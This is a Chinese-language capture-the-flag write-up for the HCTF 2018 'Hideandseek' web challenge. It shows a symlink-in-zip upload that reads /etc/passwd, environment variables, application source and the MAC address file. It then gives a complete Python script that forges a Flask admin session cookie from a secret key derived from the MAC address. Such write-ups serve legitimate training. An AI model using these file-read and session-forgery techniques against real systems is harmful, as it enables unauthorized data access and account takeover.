BUUCTF-[HCTF 2018]Hideandseek wp
知識點:軟連結任意檔案讀取、flask session偽造
最開始看到的是這個頁面,嘗試使用admin登入提示you are not admin,猜想是要通過某種方式使用admin登入獲取flag
使用123登入,發現需要上傳zip,上傳了一個1.txt的檔案,頁面會返回檔案裡的內容,這時猜想是否可以進行任意檔案讀取
使用ln -s /etc/passwd password,zip -y password.zip password生成一個裡面是軟連結的zip,用來讀取/etc/passwd檔案,發現可以讀取。
嘗試讀取flag檔案,發現沒有資料返回
讀取/proc/self/environ,獲取系統當前的環境變數資訊,整理之後如下
看了一下之後發現/app/uwsgi.ini這個配置檔案,上傳zip讀取一下
嘗試讀取app/main.py檔案,發現好像用處不大?
本來覺得要做不下去了,最後用burp抓包的時候不小心刪錯了東西,最後發現一個/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py檔案,感覺有問題,嘗試讀取一下,發現了可以獲得flag的原始碼
讀了一下原始碼之後發現是要偽造admin的session就可以獲得flag,並且在原始碼中找到了secret_key,發現它是用隨機數播種的形式設定的secret_key,種子為uuid.getnode(),是網絡卡mac地址的十進位制數,也就是說我們知道網絡卡的mac地址就可以偽造admin的session,於是我們構造軟連結讀取/sys/class/net/eth0/address
使用python指令碼將mac地址轉換成十進位制並且使用uuid.getnode()轉換為種子,最後偽造admin的session
指令碼:
import uuid
import random
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
mac = "02:42:ae:00:bf:3f"
temp = mac.split(':')
temp = [int(i,16) for i in temp]
temp = [bin(i).replace('0b','').zfill(8) for i in temp]
temp = ''.join(temp)
mac = int(temp,2)
random.seed(mac)
randnum = str(random.random()*100)
app = Flask(__name__)
app.config['SECRET_KEY'] = str(randnum)
payload = {'username': 'admin'}
serializer = SecureCookieSessionInterface().get_signing_serializer(app)
session = serializer.dumps(payload)
print(session)
登入時使用hackbar新增session,即可獲得flag